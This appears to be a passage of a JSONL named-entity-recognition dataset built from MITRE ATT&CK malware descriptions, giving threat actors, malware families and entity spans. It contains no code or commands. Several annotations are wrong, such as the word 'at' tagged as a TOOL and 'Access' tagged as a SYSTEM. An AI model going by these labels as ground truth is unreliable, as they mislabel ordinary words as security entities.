backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way.", "spans": {"MALWARE: JPIN": [[0, 4], [89, 93]], "THREAT_ACTOR: PLATINUM": [[47, 55]], "MALWARE: Dipsind": [[98, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0201"}} {"text": "VIRTUALPITA is a passive backdoor with ESXi and Linux vCenter variants capable of command execution, file transfer, and starting and stopping processes. VIRTUALPITA has been in use since at least 2022 including by UNC3886 who leveraged malicious vSphere Installation Bundles (VIBs) for install on ESXi hypervisors.", "spans": {"MALWARE: VIRTUALPITA": [[0, 11], [153, 164]], "SYSTEM: Linux": [[48, 53]], "TOOL: at": [[187, 189]], "THREAT_ACTOR: UNC3886": [[214, 221]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1217"}} {"text": "metaMain is a backdoor used by Metador to maintain long-term access to compromised machines; it has also been used to decrypt Mafalda into memory.", "spans": {"MALWARE: metaMain": [[0, 8]], "THREAT_ACTOR: Metador": [[31, 38]], "MALWARE: Mafalda": [[126, 133]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1059"}} {"text": "SideTwist is a C-based backdoor that has been used by OilRig since at least 2021.", "spans": {"MALWARE: SideTwist": [[0, 9]], "THREAT_ACTOR: OilRig": [[54, 60]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0610"}} {"text": "KOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.", "spans": {"MALWARE: KOCTOPUS": [[0, 8], [127, 135]], "THREAT_ACTOR: LazyScripter": [[43, 55]], "MALWARE: Octopus": [[77, 84]], "TOOL: Koadic": [[89, 95]], "TOOL: QuasarRAT": [[116, 125]], "SYSTEM: VBA": [[147, 150]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0669"}} {"text": "MechaFlounder is a python-based remote access tool (RAT) that has been used by APT39. The payload uses a combination of actor developed code and code snippets freely available online in development communities.", "spans": {"MALWARE: MechaFlounder": [[0, 13]], "THREAT_ACTOR: APT39": [[79, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0459"}} {"text": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.", "spans": {"MALWARE: Psylo": [[0, 5]], "THREAT_ACTOR: Scarlet Mimic": [[56, 69]], "MALWARE: FakeM": [[105, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0078"}} {"text": "Heyoka Backdoor is a custom backdoor--based on the Heyoka open source exfiltration tool--that has been used by Aoqin Dragon since at least 2013.", "spans": {"MALWARE: Heyoka Backdoor": [[0, 15]], "THREAT_ACTOR: Aoqin Dragon": [[112, 124]], "TOOL: at": [[131, 133]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1027"}} {"text": "HTTPBrowser is malware that has been used by several threat groups. It is believed to be of Chinese origin.", "spans": {"MALWARE: HTTPBrowser": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0070"}} {"text": "Mis-Type is a backdoor hybrid that was used in Operation Dust Storm by 2012.", "spans": {"MALWARE: Mis-Type": [[0, 8]], "THREAT_ACTOR: Operation Dust Storm": [[47, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0084"}} {"text": "LunarWeb is a backdoor that has been used by Turla since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) together with LunarLoader and LunarMail. LunarWeb has only been observed deployed against servers and can use Steganography to obfuscate command and control.", "spans": {"MALWARE: LunarWeb": [[0, 8], [186, 194]], "THREAT_ACTOR: Turla": [[45, 50]], "TOOL: at": [[57, 59]], "MALWARE: LunarLoader": [[159, 170]], "MALWARE: LunarMail": [[175, 184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1141"}} {"text": "XCSSET is a modular macOS malware family delivered through infected Xcode projects and executed when the project is compiled. Active since August 2020, it has been observed installing backdoors, spoofed browsers, collecting data, and encrypting user files. It is composed of SHC-compiled shell scripts and run-only AppleScripts, often hiding in apps that mimic system tools (such as Xcode, Mail, or Notes) or use familiar icons (like Launchpad) to avoid detection.", "spans": {"MALWARE: XCSSET": [[0, 6]], "SYSTEM: macOS": [[20, 25]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0658"}} {"text": "Disco is a custom implant that has been used by MoustachedBouncer since at least 2020 including in campaigns using targeted malicious content injection for initial access and command and control.", "spans": {"MALWARE: Disco": [[0, 5]], "THREAT_ACTOR: MoustachedBouncer": [[48, 65]], "TOOL: at": [[72, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1088"}} {"text": "Dipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM.", "spans": {"MALWARE: Dipsind": [[0, 7]], "THREAT_ACTOR: PLATINUM": [[79, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0200"}} {"text": "Octopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.", "spans": {"MALWARE: Octopus": [[0, 7]], "SYSTEM: Windows": [[13, 20]], "THREAT_ACTOR: Nomadic Octopus": [[93, 108]], "TOOL: at": [[166, 168]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0340"}} {"text": "KillDisk is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of BlackEnergy malware during cyber attacks against Ukraine in 2015. KillDisk has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some KillDisk variants.", "spans": {"MALWARE: KillDisk": [[0, 8], [211, 219], [417, 425]], "MALWARE: BlackEnergy": [[145, 156]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0607"}} {"text": "Qilin ransomware is a Ransomware-as-a-Service (RaaS) that has been active since at least 2022 with versions written in Golang and Rust that are capable of targeting Windows or VMWare ESXi devices. Qilin shares functionality overlaps with Black Basta, REvil, and BlackCat ransomware and its RaaS affiliates have been observed targeting multiple sectors worldwide, including healthcare and education in Asia, Europe, and Africa.", "spans": {"MALWARE: Qilin": [[0, 5], [197, 202]], "TOOL: at": [[80, 82]], "SYSTEM: Windows": [[165, 172]], "MALWARE: Black Basta": [[238, 249]], "MALWARE: REvil": [[251, 256]], "MALWARE: BlackCat": [[262, 270]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1242"}} {"text": "AppleJeus is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. AppleJeus has been used by Lazarus Group, targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. AppleJeus has been used to distribute the FALLCHILL RAT.", "spans": {"MALWARE: AppleJeus": [[0, 9], [122, 131], [398, 407]], "THREAT_ACTOR: Lazarus Group": [[149, 162]], "MALWARE: FALLCHILL": [[440, 449]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0584"}} {"text": "SoreFang is first stage downloader used by APT29 for exfiltration and to load other malware.", "spans": {"MALWARE: SoreFang": [[0, 8]], "THREAT_ACTOR: APT29": [[43, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0516"}} {"text": "STARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.", "spans": {"MALWARE: STARWHALE": [[0, 9], [137, 146], [248, 257]], "SYSTEM: Windows": [[13, 20]], "THREAT_ACTOR: MuddyWater": [[70, 80], [299, 309]], "TOOL: at": [[97, 99]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1037"}} {"text": "MirageFox is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012.", "spans": {"MALWARE: MirageFox": [[0, 9]], "SYSTEM: Windows": [[47, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0280"}} {"text": "Industroyer is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations. Industroyer was used in the attacks on the Ukrainian power grid in December 2016. This is the first publicly known malware specifically designed to target and impact operations in the electric grid.", "spans": {"MALWARE: Industroyer": [[0, 11], [195, 206]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0604"}} {"text": "DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware.", "spans": {"MALWARE: DownPaper": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0186"}} {"text": "Socksbot is a backdoor that abuses Socket Secure (SOCKS) proxies.", "spans": {"MALWARE: Socksbot": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0273"}} {"text": "Pcexter is an uploader that has been used by ToddyCat since at least 2023 to exfiltrate stolen files.", "spans": {"MALWARE: Pcexter": [[0, 7]], "THREAT_ACTOR: ToddyCat": [[45, 53]], "TOOL: at": [[60, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1102"}} {"text": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.", "spans": {"MALWARE: HIDEDRV": [[0, 7]], "THREAT_ACTOR: APT28": [[29, 34]], "MALWARE: Downdelph": [[68, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0135"}} {"text": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.", "spans": {"MALWARE: CozyCar": [[0, 7]], "THREAT_ACTOR: APT29": [[36, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0046"}} {"text": "Kevin is a backdoor implant written in C++ that has been used by HEXANE since at least June 2020, including in operations against organizations in Tunisia.", "spans": {"MALWARE: Kevin": [[0, 5]], "THREAT_ACTOR: HEXANE": [[65, 71]], "TOOL: at": [[78, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1020"}} {"text": "Agent Tesla is a spyware Trojan written for the .NET framework that has been observed since at least 2014.", "spans": {"MALWARE: Agent Tesla": [[0, 11]], "SYSTEM: .NET": [[48, 52]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0331"}} {"text": "Pasam is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Pasam": [[0, 5]], "THREAT_ACTOR: Elderwood": [[26, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0208"}} {"text": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.", "spans": {"MALWARE: httpclient": [[0, 10]], "THREAT_ACTOR: Putter Panda": [[30, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0068"}} {"text": "POWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater.", "spans": {"MALWARE: POWERSTATS": [[0, 10]], "TOOL: PowerShell": [[16, 26]], "THREAT_ACTOR: MuddyWater": [[62, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0223"}} {"text": "POWERTON is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by APT33. At least two variants of the backdoor have been identified, with the later version containing improved functionality.", "spans": {"MALWARE: POWERTON": [[0, 8]], "TOOL: PowerShell": [[21, 31]], "THREAT_ACTOR: APT33": [[124, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0371"}} {"text": "StarProxy is custom malware used by Mustang Panda as a post-compromise tool, to enable proxying of traffic between the infected machine and other machines on the same network.", "spans": {"MALWARE: StarProxy": [[0, 9]], "THREAT_ACTOR: Mustang Panda": [[36, 49]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1227"}} {"text": "ECCENTRICBANDWAGON is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.", "spans": {"MALWARE: ECCENTRICBANDWAGON": [[0, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0593"}} {"text": "BADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.", "spans": {"MALWARE: BADNEWS": [[0, 7]], "THREAT_ACTOR: Patchwork": [[72, 81]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0128"}} {"text": "Linfo is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Linfo": [[0, 5]], "THREAT_ACTOR: Elderwood": [[34, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0211"}} {"text": "Goopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.", "spans": {"MALWARE: Goopy": [[0, 5], [132, 137]], "SYSTEM: Windows": [[11, 18]], "THREAT_ACTOR: APT32": [[47, 52]], "MALWARE: Denis": [[124, 129]], "ORGANIZATION: Google": [[187, 193]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0477"}} {"text": "ShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups.", "spans": {"MALWARE: ShadowPad": [[0, 9]], "THREAT_ACTOR: APT41": [[192, 197]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0596"}} {"text": "Remexi is a Windows-based Trojan that was developed in the C programming language.", "spans": {"MALWARE: Remexi": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0375"}} {"text": "Astaroth is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017.", "spans": {"MALWARE: Astaroth": [[0, 8]], "TOOL: at": [[153, 155]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0373"}} {"text": "QakBot is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. QakBot is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably ProLock and Egregor.", "spans": {"MALWARE: QakBot": [[0, 6], [117, 123]], "TOOL: at": [[102, 104]], "MALWARE: ProLock": [[260, 267]], "MALWARE: Egregor": [[272, 279]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0650"}} {"text": "SYSCON is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. SYSCON has been delivered by the CARROTBALL and CARROTBAT droppers.", "spans": {"MALWARE: SYSCON": [[0, 6], [132, 138]], "TOOL: at": [[48, 50]], "MALWARE: CARROTBALL": [[165, 175]], "MALWARE: CARROTBAT": [[180, 189]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0464"}} {"text": "CookieMiner is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.", "spans": {"MALWARE: CookieMiner": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0492"}} {"text": "Hancitor is a downloader that has been used by Pony and other information stealing malware.", "spans": {"MALWARE: Hancitor": [[0, 8]], "MALWARE: Pony": [[47, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0499"}} {"text": "Gelsemium is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. Gelsemium has been used by the Gelsemium group since at least 2014.", "spans": {"MALWARE: Gelsemium": [[0, 9], [185, 194], [216, 225]], "ORGANIZATION: Microsoft": [[141, 150]], "TOOL: at": [[238, 240]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0666"}} {"text": "jRAT is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of jRAT have been distributed via a software-as-a-service platform, similar to an online subscription model.", "spans": {"MALWARE: jRAT": [[0, 4], [101, 105]], "SYSTEM: Java": [[26, 30]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0283"}} {"text": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable.", "spans": {"MALWARE: Helminth": [[0, 8]], "TOOL: at": [[32, 34]], "SYSTEM: VBScript": [[71, 79]], "TOOL: PowerShell": [[84, 94]], "SYSTEM: Excel": [[129, 134]], "SYSTEM: Windows": [[178, 185]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0170"}} {"text": "Dridex is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated Dridex had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. Dridex was created from the source code of the Bugat banking Trojan (also known as Cridex).", "spans": {"MALWARE: Dridex": [[0, 6], [109, 115], [253, 259]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0384"}} {"text": "BBK is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: BBK": [[0, 3]], "THREAT_ACTOR: BRONZE BUTLER": [[42, 55]], "TOOL: at": [[62, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0470"}} {"text": "Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX .", "spans": {"MALWARE: Komplex": [[0, 7]], "THREAT_ACTOR: APT28": [[44, 49]], "MALWARE: XAgentOSX": [[109, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0162"}} {"text": "OSX/Shlayer is a Trojan designed to install adware on macOS that was first discovered in 2018.", "spans": {"MALWARE: OSX/Shlayer": [[0, 11]], "SYSTEM: macOS": [[54, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0402"}} {"text": "Denis is a Windows backdoor and Trojan used by APT32. Denis shares several similarities to the SOUNDBITE backdoor and has been used in conjunction with the Goopy backdoor.", "spans": {"MALWARE: Denis": [[0, 5], [54, 59]], "SYSTEM: Windows": [[11, 18]], "THREAT_ACTOR: APT32": [[47, 52]], "MALWARE: SOUNDBITE": [[95, 104]], "MALWARE: Goopy": [[156, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0354"}} {"text": "INC Ransomware is a ransomware strain that has been used by the INC Ransom group since at least 2023 against multiple industry sectors worldwide. INC Ransomware can employ partial encryption combined with multi-threading to speed encryption.", "spans": {"MALWARE: INC Ransomware": [[0, 14], [146, 160]], "THREAT_ACTOR: INC Ransom": [[64, 74]], "TOOL: at": [[87, 89]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1139"}} {"text": "DEADWOOD is wiper malware written in C++ using Boost libraries. DEADWOOD was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into Agrius operations.", "spans": {"MALWARE: DEADWOOD": [[0, 8], [64, 72]], "THREAT_ACTOR: Agrius": [[186, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1134"}} {"text": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.", "spans": {"MALWARE: GLOOXMAIL": [[0, 9]], "THREAT_ACTOR: APT1": [[29, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0026"}} {"text": "Dok is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. Adversary-in-the-Middle).", "spans": {"MALWARE: Dok": [[0, 3]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0281"}} {"text": "SplatCloak is a malware that disables EDR-related routines used by Windows Defender and Kaspersky to aid in evading detection. SplatCloak has been deployed by SplatDropper and is known to be leveraged by Mustang Panda since 2025.", "spans": {"MALWARE: SplatCloak": [[0, 10], [128, 138]], "SYSTEM: Windows Defender": [[67, 83]], "ORGANIZATION: Kaspersky": [[88, 97]], "MALWARE: SplatDropper": [[160, 172]], "THREAT_ACTOR: Mustang Panda": [[205, 218]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1234"}} {"text": "Waterbear is modular malware attributed to BlackTech that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.", "spans": {"MALWARE: Waterbear": [[0, 9]], "THREAT_ACTOR: BlackTech": [[43, 52]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0579"}} {"text": "FIVEHANDS is a customized version of DEATHRANSOM ransomware written in C++. FIVEHANDS has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with SombRAT.", "spans": {"MALWARE: FIVEHANDS": [[0, 9], [76, 85]], "MALWARE: DEATHRANSOM": [[37, 48]], "TOOL: at": [[106, 108]], "MALWARE: SombRAT": [[197, 204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0618"}} {"text": "Comnie is a remote backdoor which has been used in attacks in East Asia.", "spans": {"MALWARE: Comnie": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0244"}} {"text": "Vasport is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Vasport": [[0, 7]], "THREAT_ACTOR: Elderwood": [[28, 37]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0207"}} {"text": "AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", "spans": {"MALWARE: AutoIt backdoor": [[0, 15]], "CVE_ID: CVE-2014-6352": [[164, 177]], "SYSTEM: Windows": [[244, 251]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0129"}} {"text": "JSS Loader is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by FIN7 since at least 2020.", "spans": {"MALWARE: JSS Loader": [[0, 10]], "SYSTEM: Access": [[21, 27]], "SYSTEM: .NET": [[46, 50]], "THREAT_ACTOR: FIN7": [[90, 94]], "TOOL: at": [[101, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0648"}} {"text": "PHOREAL is a signature backdoor used by APT32.", "spans": {"MALWARE: PHOREAL": [[0, 7]], "THREAT_ACTOR: APT32": [[40, 45]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0158"}} {"text": "OSInfo is a custom tool used by APT3 to do internal discovery on a victim's computer and network.", "spans": {"MALWARE: OSInfo": [[0, 6]], "THREAT_ACTOR: APT3": [[32, 36]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0165"}} {"text": "MacSpy is a malware-as-a-service offered on the darkweb .", "spans": {"MALWARE: MacSpy": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0282"}} {"text": "Lizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.", "spans": {"MALWARE: Lizar": [[0, 5]], "SYSTEM: .NET": [[56, 60]], "MALWARE: Carbanak": [[110, 118]], "THREAT_ACTOR: FIN7": [[147, 151]], "TOOL: at": [[158, 160]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0681"}} {"text": "Dtrack is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. Dtrack shares similarities with the DarkSeoul campaign, which was attributed to Lazarus Group.", "spans": {"MALWARE: Dtrack": [[0, 6], [164, 170]], "THREAT_ACTOR: Lazarus Group": [[244, 257]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0567"}} {"text": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.", "spans": {"MALWARE: H1N1": [[0, 4]], "SYSTEM: VBA": [[73, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0132"}} {"text": "SLOWPULSE is a malware that was used by APT5 as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. SLOWPULSE has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.", "spans": {"MALWARE: SLOWPULSE": [[0, 9], [126, 135]], "THREAT_ACTOR: APT5": [[40, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1104"}} {"text": "Seth-Locker is a ransomware with some remote control capabilities that has been in use since at least 2021.", "spans": {"MALWARE: Seth-Locker": [[0, 11]], "TOOL: at": [[93, 95]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0639"}} {"text": "LoudMiner is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.", "spans": {"MALWARE: LoudMiner": [[0, 9]], "SYSTEM: Windows": [[185, 192]], "SYSTEM: macOS": [[197, 202]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0451"}} {"text": "Azorult is a commercial Trojan that is used to steal information from compromised hosts. Azorult has been observed in the wild as early as 2016.\nIn July 2018, Azorult was seen used in a spearphishing campaign against targets in North America. Azorult has been seen used for cryptocurrency theft.", "spans": {"MALWARE: Azorult": [[0, 7], [89, 96], [159, 166], [243, 250]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0344"}} {"text": "BitPaymer is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. BitPaymer uses a unique encryption key, ransom note, and contact information for each operation. BitPaymer has several indicators suggesting overlap with the Dridex malware and is often delivered via Dridex.", "spans": {"MALWARE: BitPaymer": [[0, 9], [96, 105], [193, 202]], "MALWARE: Dridex": [[254, 260], [296, 302]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0570"}} {"text": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.", "spans": {"MALWARE: BACKSPACE": [[0, 9]], "THREAT_ACTOR: APT30": [[32, 37]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0031"}} {"text": "Zox is a remote access tool that has been used by Axiom since at least 2008.", "spans": {"MALWARE: Zox": [[0, 3]], "THREAT_ACTOR: Axiom": [[50, 55]], "TOOL: at": [[62, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0672"}} {"text": "UPPERCUT is a backdoor that has been used by menuPass.", "spans": {"MALWARE: UPPERCUT": [[0, 8]], "THREAT_ACTOR: menuPass": [[45, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0275"}} {"text": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.", "spans": {"MALWARE: ADVSTORESHELL": [[0, 13]], "THREAT_ACTOR: APT28": [[57, 62]], "TOOL: at": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0045"}} {"text": "StrifeWater is a remote-access tool that has been used by Moses Staff in the initial stages of their attacks since at least November 2021.", "spans": {"MALWARE: StrifeWater": [[0, 11]], "THREAT_ACTOR: Moses Staff": [[58, 69]], "TOOL: at": [[115, 117]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1034"}} {"text": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.", "spans": {"MALWARE: Mivast": [[0, 6]], "THREAT_ACTOR: Deep Panda": [[43, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0080"}} {"text": "HiddenWasp is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.", "spans": {"MALWARE: HiddenWasp": [[0, 10]], "SYSTEM: Linux": [[16, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0394"}} {"text": "WarzoneRAT is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.", "spans": {"MALWARE: WarzoneRAT": [[0, 10]], "TOOL: at": [[129, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0670"}} {"text": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.", "spans": {"TOOL: Net Crawler": [[0, 11], [227, 238]], "SYSTEM: SMB": [[134, 137]], "TOOL: PsExec": [[199, 205]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0056"}} {"text": "SLOTHFULMEDIA is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017. It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe. \n\nIn October 2020, Kaspersky Labs assessed SLOTHFULMEDIA is part of an activity cluster it refers to as \"IAmTheKing\". ESET also noted code similarity between SLOTHFULMEDIA and droppers used by a group it refers to as \"PowerPool\".", "spans": {"MALWARE: SLOTHFULMEDIA": [[0, 13], [384, 397], [499, 512]], "TOOL: at": [[127, 129]], "ORGANIZATION: Kaspersky": [[360, 369]], "ORGANIZATION: ESET": [[459, 463]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0533"}} {"text": "FALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website.", "spans": {"MALWARE: FALLCHILL": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[41, 54], [175, 188]], "TOOL: at": [[61, 63]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0181"}} {"text": "XORIndex Loader is a XOR-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware. XORIndex Loader was first reported in June 2025. XORIndex Loader has been leveraged by North Korea-affiliated threat actors identified as Contagious Interview. XORIndex Loader has been delivered to victims through code repository sites utilizing typo squatting naming conventions of various npm packages.", "spans": {"MALWARE: XORIndex Loader": [[0, 15], [145, 160], [195, 210], [307, 322]], "MALWARE: BeaverTail": [[124, 134]], "THREAT_ACTOR: Contagious Interview": [[284, 304]]}, "info": {"source": 